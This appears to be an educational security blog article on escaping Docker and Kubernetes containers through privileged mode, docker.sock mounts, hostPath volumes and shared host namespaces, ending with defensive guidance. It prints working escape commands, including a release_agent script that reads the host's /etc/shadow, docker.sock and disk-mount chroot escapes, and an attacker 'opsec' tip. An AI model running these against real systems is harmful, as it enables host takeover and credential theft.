Container Escapes: Privileged Containers and Host Mounts

Container Escapes: Privileged Containers and Host Mounts - article cover image Containers & DevSecOps
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Containers share the host kernel with every other container and with the host itself; the isolation between them is a set of Linux kernel features — namespaces, cgroups, capabilities, and (optionally) seccomp/AppArmor/SELinux — rather than a hardware boundary like a VM’s hypervisor. When a container is started with elevated rights or with parts of the host filesystem, process tree, or network namespace exposed to it, that isolation is deliberately weakened, and a process inside the container can step outside it and act as root on the underlying node. This is the single most common root cause of container-to-host compromise in real engagements: not a kernel 0-day, but a misconfigured docker run flag or Kubernetes Pod spec that an operator added for convenience and never revisited.

The impact of a container escape is total: the attacker goes from “one compromised microservice” to “root on the node,” which in a Kubernetes cluster usually means the kubelet credentials, every secret mounted into every pod on that node, and often a path to the rest of the cluster via the node’s service account token or cloud IMDS access. Because privileged mode and host mounts are frequently added just to “get CI working,” they show up constantly in cloud-native environments, making this one of the first things to check when a container is the initial foothold.

Attack Prerequisites

A container escape via misconfiguration requires code execution inside a container that has been given more access to the host than it needs:

  • Code execution inside a container — via an application vulnerability (RCE, SSRF, deserialization), a compromised base image, or a poisoned dependency.
  • The container/Pod runs --privileged, or holds dangerous capabilities like SYS_ADMIN, SYS_PTRACE, or SYS_MODULE.
  • A sensitive host path is bind-mounted in/, /etc, /var/run/docker.sock, /proc, /var/lib/kubelet, or a hostPath volume.
  • Host namespaces are sharedhostPID, hostNetwork, or hostIPC: true in a Pod spec, or --pid=host / --net=host on docker run.
  • No seccomp/AppArmor profile is enforced.

How It Works

--privileged in Docker (and the equivalent securityContext.privileged: true in Kubernetes) disables almost every isolation control at once: it grants all Linux capabilities, disables the seccomp and AppArmor/SELinux confinement, and — critically — lifts the device cgroup restrictions, so the container can see and mknod host block devices. A process with CAP_SYS_ADMIN and access to /dev/sda (or whichever device backs the host’s root filesystem) can simply mount the host’s disk read-write from inside the container and chroot into it, at which point it is operating as root on the host filesystem with no further tricks required.

Even without full --privileged, individual capabilities and mounts are independently dangerous. SYS_ADMIN alone allows mount operations and, on hosts still exposing cgroup v1, has historically enabled release_agent-based escapes. Mounting the host’s Docker or containerd socket (/var/run/docker.sock) into a container is functionally equivalent to giving that container root on the host, because the socket is an unauthenticated RPC channel to the daemon that will happily create a new privileged container with the host’s / bind-mounted in on request — the attacker doesn’t need to escape the current container at all, they just ask the daemon to start one that already owns the host. Sharing the host PID namespace (hostPID/--pid=host) lets a container see and nsenter into every process on the host, including init, which runs as root in namespace 1.

hostPath volumes in Kubernetes are the equivalent of Docker’s -v /host/path:/container/path bind mounts, dangerous in proportion to how much of the host they expose and whether the mount is writable. Mounting / read-write, /etc (to overwrite /etc/shadow or a cron job), or /var/lib/kubelet/pods (to read other pods’ tokens and secret volumes from disk) are all common findings. Because hostPath is resolved and enforced entirely on the node, PodSecurity admission or an OPA/Kyverno policy is required to stop it — there is no namespace-scoped RBAC control that blocks a Pod spec from requesting one.

Vulnerable Code / Configuration

The classic vulnerable docker run invocation — privileged mode plus a docker.sock mount, both commonly seen bolted onto CI runners or “docker-in-docker” build agents:

# VULNERABLE: full privileged mode, host PID/net namespaces shared,
# and the daemon socket mounted straight in.
docker run -d \
  --privileged \
  --pid=host \
  --net=host \
  -v /var/run/docker.sock:/var/run/docker.sock \
  -v /:/host \
  myorg/ci-runner:latest
Bash

The equivalent Kubernetes Pod spec — the same mistakes as manifest fields, often found in monitoring DaemonSets or hand-rolled build pods:

apiVersion: v1
kind: Pod
metadata:
  name: build-agent
spec:
  hostPID: true          # can see and nsenter host processes
  hostNetwork: true      # shares the host's network namespace
  containers:
    - name: agent
      image: myorg/build-agent:latest
      securityContext:
        privileged: true        # all capabilities, no seccomp/AppArmor
      volumeMounts:
        - name: host-root
          mountPath: /host
  volumes:
    - name: host-root
      hostPath:
        path: /            # entire host filesystem, read-write
        type: Directory
YAML

A narrower but equally exploitable variant: no privileged: true, just CAP_SYS_ADMIN plus the legacy cgroup v1 release_agent mechanism. The container mounts its own cgroup filesystem read-write and registers a release_agent script that the kernel executes on the host the next time a cgroup empties out:

# Container only needs: --cap-add=SYS_ADMIN  (no --privileged required)
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
printf '#!/bin/sh\ncat /etc/shadow > /tmp/cgrp/output\n' > /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"   # trigger release_agent
cat /output   # host's /etc/shadow, read from inside the container
Bash

Walkthrough / Exploitation

With RCE in a container that has docker.sock mounted in, the fastest path off the box is not a kernel exploit — it’s asking the daemon, which trusts anyone who can reach the socket, to run a new privileged container for you:

# Confirm the socket is reachable and talk to it with the installed docker CLI
# (or curl --unix-socket if the CLI isn't present in the image)
docker -H unix:///var/run/docker.sock info

# Ask the daemon for a fresh container with the host root bind-mounted in
docker -H unix:///var/run/docker.sock run -it --rm \
  -v /:/host --privileged --pid=host \
  alpine chroot /host /bin/sh
# Now root on the underlying host, outside any container boundary.
Bash

Without a docker.sock mount, but with --privileged and a visible host block device, escape via disk mount and chroot:

# Inside the privileged container, enumerate host block devices
fdisk -l
mount /dev/sda1 /mnt
chroot /mnt /bin/bash
# root filesystem is now the host's; add an SSH key or a cron backdoor,
# or simply read /etc/shadow and every secret on disk.
Bash

With shared hostPID, escape via nsenter into host init’s namespaces instead of a filesystem mount: ps aux shows host processes including PID 1, then nsenter --target 1 --mount --uts --ipc --net --pid -- bash drops into the host’s namespaces directly.

Note: Cloud-managed Kubernetes (EKS, GKE, AKS) hardens the kubelet and node OS, but none of that stops a hostPath: / or --privileged Pod that the cluster’s own RBAC/admission policy allowed to be created — node hardening is irrelevant if the Pod spec itself is trusted to do whatever it wants.

Opsec: The release_agent technique only works on hosts still exposing cgroup v1 (many modern distros default to cgroup v2); check mount | grep cgroup before relying on it, and prefer the docker.sock or disk-mount paths when available since they are more broadly reliable.

Detection and Defense

The fix is almost always “don’t grant the access in the first place” — container escape via misconfiguration is prevented at admission time, not detected after the fact, though both matter:

  • Never run --privileged / securityContext.privileged: true in production; add only the specific capability needed via --cap-add / securityContext.capabilities.add instead of the whole set.
  • Never mount /var/run/docker.sock (or the containerd/CRI-O socket) into an application container — treat the mount as equivalent to handing out root on the node.
  • Restrict hostPath volumes with Kubernetes admission control — Pod Security Admission’s restricted profile, or an OPA Gatekeeper / Kyverno policy denying hostPath, hostPID, hostNetwork, hostIPC, and privileged containers outright.
  • Enforce seccomp and drop capabilities by default — a cluster-wide RuntimeDefault seccomp profile plus capabilities.drop: ["ALL"], adding back only what is required.
  • Run containers as non-root with a read-only root filesystem (runAsNonRoot: true, readOnlyRootFilesystem: true).
  • Detect via Falco rules on privileged-container launches, sensitive-path mounts, and release_agent writes, or audit logging on the Docker/containerd API.

Real-World Impact

Privileged-container and hostPath escapes are a recurring finding in Kubernetes penetration tests and cloud security assessments precisely because they are configuration mistakes rather than software bugs — they persist until someone audits Pod specs directly. They are a standard technique covered in MITRE ATT&CK for Containers (Escape to Host, T1611) and recur identically across Docker, Docker Compose, and Kubernetes.

Conclusion

Container isolation is a set of Linux kernel controls, and --privileged, a docker.sock mount, a broad hostPath, and a shared host namespace each independently remove a layer of it. None require a kernel exploit — they are designed features used exactly as documented, just against the operator’s intent. The durable fix is least privilege by default: no privileged containers, no docker.sock in application pods, tightly scoped hostPath mounts, and admission control rejecting the dangerous fields before a Pod is ever scheduled.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL